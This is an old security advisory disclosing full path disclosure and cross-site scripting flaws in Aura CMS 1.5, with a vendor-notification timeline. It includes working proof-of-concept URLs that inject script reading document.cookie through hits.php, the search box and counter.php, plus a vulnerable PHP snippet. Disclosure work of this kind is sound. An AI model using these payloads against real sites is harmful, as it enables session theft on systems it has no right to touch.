|
---------------------------------------------------------------------------
Vulnerabilities in Aura CMS
---------------------------------------------------------------------------
Author: y3dips
Date: Januari, 25th 2005
Location: Indonesia, Jakarta
Web: http://echo.or.id/adv/adv011-y3dips-2005.txt
---------------------------------------------------------------------------
Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
auraCMS (Content Management System)
version: 1.5
date : 21 September 2004
lisensi: GPL - http://www.gnu.org/licenses/licenses.html#GPL
Author: Arif Supriyanto - arif@ayo.kliksini.com
http://www.semarang.tk
http://www.ayo.kliksini.com
http://www.auracms.opensource-indonesia.com
Description:
auraCMS is a PHP script package that you to possiblity to building
a website with dynamic content easier and faster, no waste time more.
---------------------------------------------------------------------------
Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
A. Full Path disclosures
==>> http://[site]/[aura]/?pilih=teman&id=34%60select%20all
Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in
/home/cxxo/public_html/aura/teman.php on line 9
==>> http://[site]/[aura]/?pilih=hal&id=4%60tes
Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in
/home/cxxo/public_html/aura/hal.php on line 10
==>> http://[site]/[aura]/?pilih=arsip&topik=1%60
Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in
/home/cxxo/public_html/aura/arsip.php on line 11
B. Session ID
CMS with This version has two method of authentication (session and cookies) ,
this problem has found in session method .
There are so many variable that havent declared yet, it makes attacker could
exploit it by inputing some "character" n gaining an session id on windows pop up
for eXample
---- hits.php -----
<?
$perintah = "SELECT * FROM counter WHERE id=1";
$hasil = mysql_query( $perintah );
while ($data = mysql_fetch_row($hasil)) {
$hits=$data[3];
}
echo "<b>$hits</b>";
?>
-------end -------
look $hits variable , do you see something interested ? yes SIR , we've found something
lets do some try
==>> http://[site]/[aura]/hits.php?&hits=%3Cscript%3Ealert(document.
cookie)%3C/script%3E
then you get the session ID
another vulnerable :
in pencarian (search) input box
+ http://[site]/[aura]/index.php?query=%3Cscript%3Ealert(document.
cookie)%3C/script%3E&pilih=search
also in counter module
+ http://[site]/[aura]/counter.php?theCount=%3Cscript%3Ealert(document.
cookie)%3C/script%3E
p.s : Wanna know what session IDs gives you ? try google :D
---------------------------------------------------------------------------
FIx :
founded : Januari 25th 2005
reported to vendor :Februari 15th 2005
;vendor respond but not yet releasing any patch
publish at securityfocus : March 2th 2005
---------------------------------------------------------------------------
Shoutz:
~~~~~~~
~ m0by, the_day, comex, z3r0byt3, K-159, c-a-s-e, S`to, lirva32, anonymous
~ newbie_hacker@yahoogroups.com ,http://forum.ehco.or.id
~ #e-c-h-o@DALNET
---------------------------------------------------------------------------
Contact:
~~~~~~~~
y3dips || echo|staff || y3dips[at]gmail[dot]com
Homepage: http://y3dips.echo.or.id/
-------------------------------- [ EOF ] ----------------------------------
|
